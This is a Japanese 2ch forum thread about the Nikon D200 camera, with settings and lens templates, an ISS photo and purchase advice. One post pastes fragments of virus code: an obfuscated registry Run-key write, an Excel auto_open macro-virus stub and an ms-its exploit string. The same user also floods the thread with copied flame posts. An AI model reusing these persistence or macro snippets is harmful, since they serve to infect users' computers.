Nikon D200 Part82

1 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 21:50:33 ID:RhmfNcTj0

前スレ

Nikon D200 Part81
http://hobby7.2ch.net/test/read.cgi/dcamera/1162296643/

2 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 21:54:22 ID:GjmTEph20

乙

3 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 21:54:29 ID:3w9qYFic0

乙じゃけぇ。

4 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:08:54 ID:/BS4tv2u0

5 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:16:28 ID:SMVPSWF60

乙

6 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:25:54 ID:71nlkpg70

G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

7 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:43:01 ID:7qe3y0d20

何か変態野郎が余計な事をしているようだが気にせず　>>１乙カレー

8 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:46:55 ID:71nlkpg70

【ニコ爺はだから嫌われる！】
【初期不良を訴えた人を基地外＆キヤノネット扱いして不具合を無視ｗ】
【本当にユーザーなら証拠画像をうｐしろと罵倒するものの、うｐして証明されたら沈黙ｗｗｗ】

807 名前：名無CCDさん＠画素いっぱい[] 投稿日：2006/12/13(水) 16:01:14 ID:lfEAwZGWO
２日程前に買った者ですが今朝触ったら正常な動作をしてくれません;;
落としたり手荒な扱いもしていないし思い当たるは何にもないです
取説読んでいて当てはまる事といえば…もしかして強い電波･磁気を発生する携帯電話&PCの側に置いておいたのが原因か!?
orz
もう生きていけない…

808 名前：名無CCDさん＠画素いっぱい[] 投稿日：2006/12/13(水) 16:07:40 ID:58zGN3j4O
ﾊﾞｯﾃﾘｰ抜き差ししてみた？

809 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 16:33:12 ID:lfEAwZGWO
>>808
駄目です;;うんともすんとも言いません
修理にとりあえず出しますが高いようならもうお手上げです

さっきｻﾎﾟｾﾝに電話したら
やはり(?)携帯電話の側はよくないらしく、結構故障の問い合わせが殺到してるみたいです
そんなんだったら最初に買う時に言っておいてほしかったよ…店員さんorz

しかし携帯電話の側で簡単に壊れる一眼デジは初めてです

810 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 16:34:42 ID:Ejd11WEX0
なこたーない。
ケータイで壊れるカメラなんて始めて聞いた。
電池切れか低温すぎるかメディアの不良あたりが怪しい。

9 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:47:28 ID:71nlkpg70

【ニコ爺はだから嫌われる！】
【初期不良を訴えた人を基地外＆キヤノネット扱いして不具合を無視ｗ】
【本当にユーザーなら証拠画像をうｐしろと罵倒するものの、うｐして証明されたら沈黙ｗｗｗ】

811 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 16:51:43 ID:laS8g0Jh0
>>810
というか、完全にキャノネットの釣りだってば。
今、俺カスタマーサービスに電凸してみた。

Q、「D80を携帯電話の側に置いて故障したという問い合わせが殺到してる」と言うのは本当ですか？
A、聞いておりません

購入後２日なら初期不良で取り替えてもらえるし、そうでなくても保証で修理が効くのに、
「修理にとりあえず出しますが高いようならもうお手上げです」って言うバカがどこにいる。

最近キャノネットも質が落ちたな。激しくつまらん。

812 名前：名無CCDさん＠画素いっぱい[] 投稿日：2006/12/13(水) 17:05:10 ID:lfEAwZGWO
修理費に関してはこっちが馬鹿だった
が、あんた達は壊れてなあからそんな無責任でいい加減な呑気な事言えるんだよ!
何がキノネットだ!
私は普通の一般人だ!馬鹿!!
兎に角取説を読んでめろ!馬鹿!
ちゃんと｢強い電波や磁気の発生する場所は良くない｣と記載されているだろうが!!!!
目腐れ!
壊れた俺の身にもなれ!
俺に言わせたらあんた達の方が遥かぬ関係者臭い!
電池は満タンだし温度差の激しく部屋でもない!!見たような勝手なこと言うな!!!
こんなもん買うんじゃなかったよ!!
初期無料とか関係ないんだよ!!!!!
気分も何もかも最悪だよ!あｰ腹立つ!!!!!

10 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:48:40 ID:71nlkpg70

【ニコ爺はだから嫌われる！】
【初期不良を訴えた人を基地外＆キヤノネット扱いして不具合を無視ｗ】
【本当にユーザーなら証拠画像をうｐしろと罵倒するものの、うｐして証明されたら沈黙ｗｗｗ】

813 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 17:07:43 ID:I3ug+B8v0
このファビョり方、確かに工作員ではないようだ。
本物のk

814 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 17:24:12 ID:UMhSRC4J0
強烈な電磁波を発する携帯電話ｗの使い過ぎで、脳にも支障をきたしたんじゃね？

815 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 17:30:04 ID:HWOCwQiiO
むしろ本人が電波ry

816 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 17:58:35 ID:8ehpWzV40
キチガイって怖いですね。
とりあえず買った証拠となる写真でも
うｐしてくれませんかね？
話はそれからね。

817 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 18:30:13 ID:lfEAwZGWO
基地外呼ばわりするなら
それなりの納得のできるまともな見解と意見を書け!

http://j.pic.to/8reai

11 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 22:49:16 ID:71nlkpg70

ニコ爺はだから嫌われる！】
【初期不良を訴えた人を基地外＆キヤノネット扱いして不具合を無視ｗ】
【本当にユーザーなら証拠画像をうｐしろと罵倒するものの、うｐして証明されたら沈黙ｗｗｗ】

818 名前：名無CCDさん＠画素いっぱい[sage] 投稿日：2006/12/13(水) 18:54:27 ID:8ehpWzV40
買ったお店に持っていって相談したほうが
よろしいのではないでしょうか？
新品と交換してくれると思いますよ。
残念ながら不良品だと思われますし
交換してくれない店があるなら
その店のほうが異常だと思います。

819 名前：名無CCDさん＠画素いっぱい[] 投稿日：2006/12/13(水) 19:37:35 ID:6C3hEs8+0
D80やD200などカメラバックに入れ、同時に携帯も一緒にカメラの背面近くに
いれているが、今までなんとも無い。

おそらくは807は夢遊病の類を現実と判断がつかなくたっているのでしょう。

820 名前：名無CCDさん＠画素いっぱい[] 投稿日：2006/12/13(水) 19:48:27 ID:lfEAwZGWO
つまり買った機体が不良品だっただけで
携帯電話とは何の因果関係もないと？

兎に角言われた通り素直に持って行く事にするよ。
さっきも書いたけど
取説にはキチンと電波･磁気について記載してある。
その事を又ｻﾎﾟｾﾝの人に言ったら、ただただ漠然と強い電波･磁気云々としか言わないから
こちらが、ではどれぐらいの｢強さ｣と｢距離｣なら影響を受け、記載されている症状が起こるのか?と聞いても答えられない始末…

携帯電話の影響が全くないと言い切れるのか?
と言ったら、ただただ謝り倒して購入した店での返品を進めてきたよ…。
俺も確かに言われても仕方ない人間だけど
Nikonがいい加減で無責任な商売をしているメーカーなのかはよく思い知らされた。

12 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 23:03:35 ID:71nlkpg70

15年以上昔の遠い記憶なんだが
何かの本で植村直己が南極大陸を横断した時に使った
カメラの話を思い出した。
どんなカメラを持って行っても壊れてしまうので
カメラメーカに相談に行ったんだとか。
カメラメーカも宣伝になると考えたのか承諾したのだが
植村から言われたスペックに仰天し
死ぬ思いで耐久性上げたって話だったと思う。

デコボコした氷の上を犬ぞりで毎日ドッカンドッカン乗り越えるから
落下試験がムチャ過酷。なにせ1m超える落差もザラで
それが1年以上繰り返される訳で。
さらにマイナス30℃以下の寒さではグリスもオイルも堅くなって、
微細なカメラの力では動かないとか。

Nっていうメーカーのカメラを持っていったら、
犬ぞりの振動でマウントが根元から折れたそうです。
冒険終了後（どこに行ったかは失念）ベースキャンプに戻ってきたら
記者達に囲まれて写真をバシャバシャ。そのカメラがキヤノンだらけだったので
カメラマンに聞いたらキヤノンのカメラは壊れないからと返事されて興味を持ち、
キヤノンに壊れないカメラ作れない？と依頼しに来たそうだ。

どの位の振動ですか？と技術者が聞いたら、これくらいですよと、
何かの箱を階段の上から落としたそうだ。恐ろし。

趣味のキヤノンカメラというムックに掲載されてたはず。

13 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 23:17:36 ID:R+Qmyw8YO

↑こいつそうとう脳味噌かゆいんだろうね。

あ、>>1おつ

14 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 23:25:47 ID:z862SSUF0

脳味噌かゆいとつらいだろうねw

>>1乙

15 ：テンプレ：2006/12/13(水) 23:37:08 ID:GIwDV/k90

【推奨の設定変更】

RAW：初期：非圧縮　→　時間の点でもファイルサイズの点でも無駄なので「圧縮」が推奨。

再生時：十字ボタンの中央押しで一発拡大（規定の任意の倍率・再度押すと元に戻る）が便利。カスタム　f1

ISO感度や露出の設定ステップ幅：「補正」のステップ幅とは別に設定できる。

「露出ディレイモード」：旧「低振動モード」。２秒セルフと組んで、ケーブルスイッチ代わり。

【ＡＦ関係設定】鳥撮りの人のばあいの一例
AF-C
背面のレバーは下から３番目の菱形みたいの
カスタマイズのａ３をワイドフレーム（７点）
ａ５を弱かオフ

追加情報募集中

16 ：名無CCDさん＠画素いっぱい：2006/12/13(水) 23:37:31 ID:71nlkpg70

だれか早く殺してくれよ

17 ：テンプレ：2006/12/13(水) 23:38:12 ID:GIwDV/k90

【テンプレ案・メディア編】
メディアの速度
カメラ内のバッファによる「初期高速連写」はメディアの速度とは無関係。
初期高速連写以後の撮影間隔が「メディアの書き込み速度」に応じる。
「書き込みの終了」まで所要時間も変わるものの、記録中の再生やメニュー表示が速いので、
「終わるまで待つ必要がないから実用的には関係ない」
当然、速いほうが単位時間あたりの撮影可能枚数が増えるものの、よほど大量に連写するのでないなら、
ある程度以上の「書き込み速度」が確保されていれば支障が出ないことも珍しくない。
ただし、メディアが大きくなるほど「読み込み（メディアからパソコンやストレージへの転送）」の
速度の影響も大きくなるから、「これから買うなら読み書きともになるべく速いタイプが有利」とはいえる。

サイズは、少なくとも1GB。なるべく4GB以上。
あまりに小さいと、頻繁に入れ替える必要が生じて落としたりするとか、撮影済みのものを取り違えて
誤ってフォーマットしたりするリスクが生ずる反面、あまり大きいとたった１枚の紛失等のダメージが
膨大になるし、パソコンや携帯ストレージへの転送の時間が止め処もなく延びる。
どうしても入れ放しで使う必要がある条件でないなら、ある程度のサイズに抑えるほうが無難という説もある。

連写速度
速すぎるのでどう考えても勿体ないから、並みの連写速度のもののように気軽に比較テストしにくいという難点がある。

RAWの場合でも、「基準メディア」のサンのU2で40コマ/30秒くらい。
「価格」で変な風評が流れている虎の×120（2GB4GB）でもほぼ同様。

補足訂正追加よろしく。

18 ：テンプレ：2006/12/13(水) 23:38:46 ID:GIwDV/k90

【D200のRAW対応ソフト】
【フリーないし追金無しのもの】
「純正」
ピクチャープロジェクト（セット品）
ニコンビュー（ダウンロード・ピクチャープロジェクトと両立できないんだっけ）

Rawshooter（有料版もあるんだっけ）

【有料ソフト】
ニコンキャプチャ
キャプチャーNX
フォトショップ各種
ペイントショップ
Silkypix
Ulead PhotoImpact11
DxO Optics Pro
Digital Photographer for WIN
デジカメNinja X for WIN
ステライメージVer.5
デイジーコラージュ9
Bibble Pro

何か増えてる？

19 ：テンプレ：2006/12/13(水) 23:41:39 ID:GIwDV/k90

【PC】
PC：CPUはなるべく速く、HDDをなるべく多く内蔵追加でき、メモリを少なくとも1GBを越えて設置できるものが有利。
というか、ほとんど必須。
ディスプレーは、なるべく良質のものが有利。
結果としてノートは不利。
タワー＋良質のディスプレーが一番割安。

【データのPC用追加ストレージ】
容量と速度の点で、USB2などの外付けHDDが現実的。
タワーならSATAなどの差し替え式トレーも便利。

リムーバブルは何かな？　RAWも保存するなら、5GB弱のDVD記録型でも小さすぎるし遅いので使いにくい。
JPEGだけなら、CD-Rでも行けるかな。
いずれにしても、もっと速くて大きいのが出たら当然代替え。

【データのポータブル（携帯用）ストレージ】
参考スレ　http://hobby7.2ch.net/test/read.cgi/dcamera/1161400974/

PD-70X : 定番だと思う　という話がある。

ビューワ兼用ストレージ
エプソンP-6000：やや高いけど、画面も大きいし、表示速度も割と速いし、コピーも速い。
P-2000/4000はそれと比べるとちと遅い。
何かあるかな？

20 ：テンプレ：2006/12/13(水) 23:43:18 ID:GIwDV/k90

望遠ズーム
VR70-200：この焦点距離域で写りに拘るなら無理して買っても損はない。
80-200/2.8：値段のわりに良い写り､敢えてVR70-200を選ばす、こっちを購入するのもあり
200-400/4：鳥屋さん・飛行機屋さんの最終目標
シグ70-200DG:写りはVRに匹敵､VR不要なら行ける　最短撮影距離がいまいち
シグ70-200ﾏｸﾛ: 知らんけど、マクロ域は甘いとかいう。
シグ100-300/4：思いの外シャープ　お値段も手頃でAF-S300/4より安い
トキナー100-300/4：シグと互角。比較してホールディングとボケがいい。
VR80-400: 暗いのが難点その分価格は安いが
シグ50-150:写りは知らんけど明るさの割にコンパクトではある
トキナー50-135:知らん。

【推奨レンズ追加（なるべく実写例付き）募集中】

21 ：テンプレ：2006/12/13(水) 23:44:50 ID:GIwDV/k90

標準ズーム（個体差があり得るので注意）
17-55：値段だけは有る、解像感高い、その一方、適当に撮ると18-70との差が見えて来ない。
28-70：ワイド端が･･･銀塩と共用なら。
18-200：写りは18-70より上､特に中央部の写りは大口径に迫るものが有る、しかし高倍率故周辺はかなり甘い、VR4段の威力は凄く常用になりえる
18-70：可もなく不可もなく、最短撮影距離が長いのと、ワイド端の歪みが気になる。
28-105：マクロも使える隠れた銘レンズ　ワイド端が狭い。
35-70/2.8：隠れた銘レンズ　切れが有る絵　直進式なのはご愛敬
24-120VR：積極的には勧められない、銀塩と共用なら･･･
シグ17-70：かなり良く写るしマクロといえる最短撮影距離は便利。
シグ18-200 タム18-200：VR18-200が有る現在､敢えて選ぶ意味は？
タム17-35：２倍で無理のない設計、風景撮りには最高、F値が変わるのがちょっと
タム28-75：開放ではソフトな描写､F4まで絞るとかなりシャープ　しかも色乗り最高

22 ：テンプレ：2006/12/13(水) 23:47:07 ID:GIwDV/k90

テンプレ案・レンズ編（いずれも個体差があるので注意）
【超広角ズーム】
純正12-24：トキナーより解像感が若干上、AF-Sも良い
トキナー12-24：AF-Sを除けば純正に迫る
シグマ10-20：個体差かも知れないがいまいちカチッとしない。ただし10～と12～はけっこう違う
シグマ12-24：銀塩と共用なら、これしかない
タムロン11-22：個体差かも知れないが写りは悪くない　鏡胴がしょぼいが軽い
トキナー10-17フィッシュアイズーム：個体差もあると思うがユニークなだけでなくて良く写る。ただし用途は限定される

マ(イ)クロ
60/2.8：物撮に最適なカチッとした描写
シグ50/2.8DG：安価な割に性能も良好　「とりあえず試し」以上の価値あり
VR105/2.8：むにゃむにゃむにゃ
タム90/2.8：ボケの綺麗さは定評がある　鏡胴はしょぼい。
シグマ105/2.8　トキナー105/2.8：知らんけどシャープネスとボケの兼ね合いで違いがあるとか。
70-180：ユニークなだけでなくて写りも良いし使い勝手も良好。近距離以外の後ボケが良くないので汎用には辛い。生産終了。

23 ：テンプレ：2006/12/13(水) 23:47:51 ID:GIwDV/k90

【レンズテンプレ案・単焦点編】
AF
※明るい広角単焦点のDXが切望される
Ai AF Nikkor 28mm F1.4D
Ai AF Nikkor 28mm F2.8D
Ai AF Nikkor 35mm F2D・・・準「定番」
Ai AF Nikkor 50mm F1.4D
Ai AF Nikkor 50mm F1.8D・・・ボケがイマイチ良くない。
Ai AF Nikkor 85mm F1.4D（IF）・・・「定番」
Ai AF Nikkor 85mm F1.8D.　　円形絞りでないのが非常に惜しい優良レンズ。
Ai AF DC Nikkor 105mm F2D
Ai AF DC Nikkor 135mm F2D
Ai AF Nikkor ED 180mm F2.8D（IF）・・・「定番」
Ai AF-S Nikkor ED 300mm F4D（IF）・・・「定番」
シグマ30mm F1.4 EX DC HSM

非AF
ツァイスPlanar T* 1.4/50 ZF
Planar T* 1.4/85 ZF

レポート募集
推奨を追加する場合は、受け売りではあまり意味がないので、原則として「ユーザーが作例付きで」。

24 ：名無CCDさん＠画素いっぱい：2006/12/14(木) 11:45:02 ID:iiREhEnR0

http://spaceflight.nasa.gov/gallery/images/station/crew-14/hires/iss014e08795.jpg

宇宙へ行ったD200

25 ：名無CCDさん＠画素いっぱい：2006/12/14(木) 13:21:24 ID:UgQDFLqA0

>>23
Fujinon?

26 ：名無CCDさん＠画素いっぱい：2006/12/14(木) 16:32:35 ID:EoU9H1juO

>>23
distagon 2/35 ZF がﾈｰﾖ…distagon 2.8/28 ZF も来年１月発売だお

27 ：名無CCDさん＠画素いっぱい：2006/12/14(木) 16:35:23 ID:EoU9H1juO

間違えたorz

×distagon 2.8/28 ZF
〇distagon 2.8/25 ZF

28 ：名無CCDさん＠画素いっぱい：2006/12/14(木) 21:41:49 ID:3OVleHEU0

>>24
確かに飛行士の頭から右の方にバッテリーグリップ付きD200が後ろ向きに見えるな。
その下にiPodがある。

29 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 00:35:34 ID:MYCx3RRG0

>>24
おおーすげー。

30 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 00:45:32 ID:RMkR+1pL0

>>28
ちゅうか、股間にでかでかと

31 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 00:46:58 ID:RMkR+1pL0

それにしても、カメラボディが少なくとも3台、
レンズもゴロゴロしているけど、
宇宙船の中って、こんなもんなのか？

32 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 00:51:39 ID:RMkR+1pL0

>>31
これ、少なくと無重力状態じゃないな

33 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 01:05:39 ID:M9CmhIFn0

>>32
いくつかのボディやレンズは、ベルクロ・テープとか使って壁に止めてあるんじゃない？
重力あったら落ちてくると思う。

34 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 01:15:58 ID:RMkR+1pL0

>>33
でも、無重力だったら、
飛行士手元の眼鏡ケース(？)　とか、
机の下のビニール袋は、浮遊しちゃうと思うぞ。

35 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 01:18:29 ID:RMkR+1pL0

>>34
ごめん。無重力だった。

http://spaceflight.nasa.gov/gallery/images/station/crew-14/html/iss014e08795.html

眼鏡ケースは、両面テープでも張ってあるんだろうね。

36 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 01:42:48 ID:XLOb2zqR0

VR18-200もここでは自重で伸びたり痴人ダリしないんだろうなあ。

37 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 01:51:47 ID:RMkR+1pL0

>>35
何で、こんなにカメラ機材が転がっているのか、
気になって、NASA のページを色々と見て回ってみた。
どうやら、宇宙ステーションから、船外を撮影するみたい。

http://spaceflight.nasa.gov/gallery/images/station/crew-15/html/jsc2006e41641.html

これは、地上での訓練風景。これもニコン？

38 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 01:53:26 ID:RMkR+1pL0

そういえば、このカメラは、海上自衛隊のトップページにも載ってたな。

http://spaceflight.nasa.gov/gallery/images/station/crew-15/hires/jsc2006e41640.jpg

39 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 01:57:37 ID:RMkR+1pL0

どうやら、宇宙では　F5　が常用みたいだ

http://spaceflight.nasa.gov/gallery/images/station/crew-10/hires/jsc2004e23464.jpg

40 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 02:01:15 ID:RMkR+1pL0

撮影するのは、船外じゃなくて、船内での実験の結果みたい

http://spaceflight.nasa.gov/gallery/images/station/crew-10/hires/iss010e06638.jpg

41 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 02:04:44 ID:RMkR+1pL0

いや、F5 で、地球も撮ってる。原始的だ。
http://spaceflight.nasa.gov/gallery/images/station/crew-10/hires/iss010e10582.jpg

42 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 02:06:08 ID:kyeMe+eI0

S5Pro発売に合わせて、ニコンが新機種ぶつけてくるという噂をMIXIでひろってきたんだけど、
どなたか知ってます？
チラシの裏ってことで。

43 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 02:13:56 ID:RMkR+1pL0

>>42
ハニカムのフルフレームという噂

44 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 03:53:39 ID:UHYSzAB90

>>41
F5っていうか、KodakのCCDをつけたNikonのOEMなのでわ??
野口さんが持って行ったのもそうだったし(600万画素、多分フルサイズ)。
型番失念(日本では販売してない)。

45 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 09:07:41 ID:YVt/KKrm0

>>44
これ？
ttp://ascii24.com/news/i/topi/article/2001/06/29/627468-000.html
ttp://iss.sfo.jaxa.jp/iss_faq/faq_env_12.html

46 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 11:33:19 ID:IiOr7rRh0

野口さんはD2Xだったし

47 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 13:37:53 ID:M9CmhIFn0

>>44
Kodak DCS760(F5ベース)が写ってるね。

48 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 13:44:43 ID:M9CmhIFn0

ちなみにDCS760は135判じゃないよ。
135判は、F80系の部品使ったDCS Pro14/n、DCS Pro SLR/n。

49 ：599：2006/12/15(金) 14:15:33 ID:1WBjuz8B0

F5 も使われているみたいね。
http://www.nikon.co.jp/main/jpn/whatsnew/2000/f5eva_00.htm

もっと積極的にＣＭなどに使えば、訴求すると思うのだけど、
NASA の縛りがあるんだろうな。

50 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 16:27:10 ID:bfy6HQWt0

D200の購入を考えているんだけど、
来月のS5proの気になってます。

vs S5pro という観点で
D200 の方がよい部分って何でしょう。

あんまり人を撮ることなくて(全く無いってこともないけど)
風景や花、虫、鳥、動物を撮ることが多いです。

51 ：つばくろん ◆rPMXZhdNas ：2006/12/15(金) 16:44:00 ID:j7uu79vV0

＞D200 の方がよい部分って何でしょう。

いままでなら画質以外の部分って言えたけど今回は完全敗北じゃないかしら。
しいていえば解像度がわずかに上回りそうとか。

52 ：50：2006/12/15(金) 16:49:34 ID:bfy6HQWt0

レス、ありがとう。

やっぱり若干の高解像、連射性能(画像サイズの小ささ)ぐらいが
D200の勝る部分ですかね。あと値段。

こうなるとD200を選ぶ場合は、
S5pro発売された後にした方が中古も含めて価格相場は下がりそうですね。

53 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 16:50:18 ID:ii4UDEqM0

>>50
連射機能

54 ：つばくろん ◆rPMXZhdNas ：2006/12/15(金) 16:52:22 ID:j7uu79vV0

S5Proが人々の想定よりもかなり高かったんで、D200の値段はあんまり影響なさそう。

55 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 16:55:30 ID:M9CmhIFn0

>>50
ボディだけを見ると、連写性能が必要な人にはD200の方がアドバンテージがありますね。
画質については様々なサンプルが出てくるまではっきりしたことはいえませんが、
おおむねS5Proの方が(発色など日本人の多くに)好まれる絵になるのではないか
と想像しています。ただし解像'感'については未知数です。

またシステムとしてみた場合は、後処理ソフトウエアが大きく異なりますね。
あとはサポート体制とかそういったところの比較になるのでは無いでしょうか？

56 ：50：2006/12/15(金) 17:01:46 ID:bfy6HQWt0

引き続きレス有難うございます。

あぁそうか、Caputure NX使えないんですね。
サポートとか撮った後のことも考える必要ありですね。

価格はあんまり影響ないですか。
中古相場ならD200売ってS5pro買う人のおかげで
タマが増えて下がったりしないかな。

57 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 17:35:28 ID:JaGdUPj/0

実は、S5proはD200の上位機種としてNikonのラインナップに組み込むというのは、暗黙の了解の内とか？

58 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 22:38:34 ID:7h8kBaLj0

鑑定お願いします。
結構気に入ってる一枚だけど。
http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061212235528.jpg

明るい作品。
http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061213165726.jpg

かっぱ橋。
http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061213110941.jpg

これは？
http://blogimg.goo.ne.jp/user_image/46/db/fe0149d2f07cf2e2a4ae8ed698144dd9.jpg

59 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 22:46:24 ID:p6CZEY/B0

明日、ボーナスで待望の D200 を購入予定です。
今から楽しみで仕方ないです。
S5Pro も一瞬気になったけど、CCD が富士独自ですか。
やっぱり欲しい時が買い時ということで。（笑）

60 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 23:49:17 ID:7h8kBaLj0

これが現在最高レベルの技術を駆使してレタッチされた作品。
http://provyake.jog.buttobi.net/usr/bin/perl/cgi-bin/img-box/img20061215200353.jpg

現在、日本でこのレベルの作品がつくれるのはそれほど多くない。
おれは第一人者だと自覚している。

61 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 23:55:39 ID:5B+dtkpM0

>>59
正解　おめ

62 ：名無CCDさん＠画素いっぱい：2006/12/15(金) 23:58:30 ID:MYCx3RRG0

>>60
ﾜﾛﾀｗ

63 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 08:24:33 ID:dqrbNqrz0

＞＞５８
構図が少し。。

64 ：44：2006/12/16(土) 09:17:44 ID:tq1nZO+m0

>>45-48
レスありがとうです。
Fifth Star の管理人日記に、去年、機種名と「なんだ、NikonのOEMか。」
と書いてあったのを覚えてたのですよ。
上記ブログを読み返しても該当コメントが出てこず。
漠然とKodakの3桁型番だったことだけ^^;;
当時は私個人的にはCCDサイズをあまり意識してなかったので。
もっともNikonD70(その後D200)を使ってるので焦点距離換算1.5倍の画角
ってのはわかってましたが。←蛇足。
しかしNikonがこれほど宇宙で活躍してるとは。

65 ：44：2006/12/16(土) 09:20:23 ID:tq1nZO+m0

書き忘れましたが、DCS760でまず間違いないです。

66 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 09:51:59 ID:1NMvZ3rgO

今、D70で鉄や子供のサッカーを撮っている。
嫁との買い換え交渉が成立したが、ﾌﾙの噂とか後継考えるとなかなか踏ん切りがつかない…
用途からいってD200しかないのだが、誰か背中押してくれ。
新ﾌｧｰﾑとかどうですか？
なお、30Dは興味なし、IDは1Nだけど(w

67 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 10:08:51 ID:YalpbSzG0

>>66
じゃあ、背中を押してあげよう

　　　, ／⌒⌒γ⌒、
　　/　　　　　　γ　ヽ
　 l　　　　　　　γ　　ヽ
　l　　 i"´ ￣｀＾´￣｀゛i　|
　|　　 |　　　　　　　　 |　|
　ヽ　 /　,へ　　 ,へ　ヽ./
　　!､/　　一　　　一　V
　　|6|　　　　　　| 　　 .|
　　ヽl　　　／( ､, )＼　）　　／￣￣￣￣￣￣
　　　| 　　ヽヽ二フ） /　　＜　　D200 買えや！
　　　丶　　　　　　.ﾉ　　　　＼＿＿＿＿＿＿
　　　 |　＼ヽ､＿,ノ
　　.　|　　　ｰ-ｲ

68 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 10:27:04 ID:jz1rvaDV0

>>66
押すってか「突き落とす」ｗ

欲しい時が買い時！いってらっしゃい
新ファームで高感度ノイズが良くなったとか言われているが俺は違いがわかんない。
s付きが出たとしても小変更程度だろうから、D2Xみたくファームで充分同等性能になるのではなかろうか？

　　　　　　　　　　　　　　 ○ 　ﾎﾚ
　　　　　　　　　　　　　　く|）へ
　　　　　　　　　　　　　　　〉　　ｶﾞｯ
　　_,,..-―'"⌒"~￣"~⌒ﾞﾞ"'''ｮ　　　ヾ○ｼ
　ﾞ~,,,....-=-‐√"ﾞﾞＴ"~￣Y"ﾞ=ﾐ　　　ﾍ/ 　　>>66
　Ｔ　　|　　 l,＿,,/＼　,,/l　　|　　　　ﾉ
　,.-r '"l＼,,j　　/　 |/　 L,,,/
　,,/|,／＼,/　_,|＼_,i_,,,/ ／
　_V＼　,,/＼,| 　,,∧,,|_/

69 ：66：2006/12/16(土) 10:44:00 ID:1NMvZ3rgO

>67-68
ありがとう
今週は勤務なので来週あたりD200逝ってきます

70 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 11:27:11 ID:jz1rvaDV0

(`Д´)ゞﾋﾞｯ!!　ｗ

ゲット報告待ってまつ

71 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 11:32:36 ID:tq1nZO+m0

>>66
D200所持者で鉄として突き落とすレスを少し。
高輝度ヘッドライトだと上下に睫が乗る。
スーパーはくとや新快速、電気機関車などの正面が被写界の大半(1/3以上)を
占めると画面が真っ暗でヘッドライトだけが写る。
D70でもRAWでNikon Captureで仕上げればA3プリントに耐えうる。

一方、買い換え(買い増し)のメリットとしては
ファインダーはD200に慣れるとD70には戻れない。
連射性能は言うまでもない。
カメラとしての質感、満足感は圧倒的に上。

72 ：名無CCDさん＠画素いっぱい：2006/12/16(土) 12:46:49 ID:LaYlfZAD0

>>66
>ﾌﾙの噂とか後継考えるとなかなか踏ん切りがつかない…

買うタイミング逃してるPC購入者と同じだね。
（数ヶ月待てば、新機種出る～　もっと性能良くなる～　みたいな）

座布団の上に飾る訳でもなし。
頻繁に使うなら、今どう使うか？満足できるか？　じゃねーの。

D200買って、フルサイズの新機種出たら下取り出して購入すればいいじゃん。
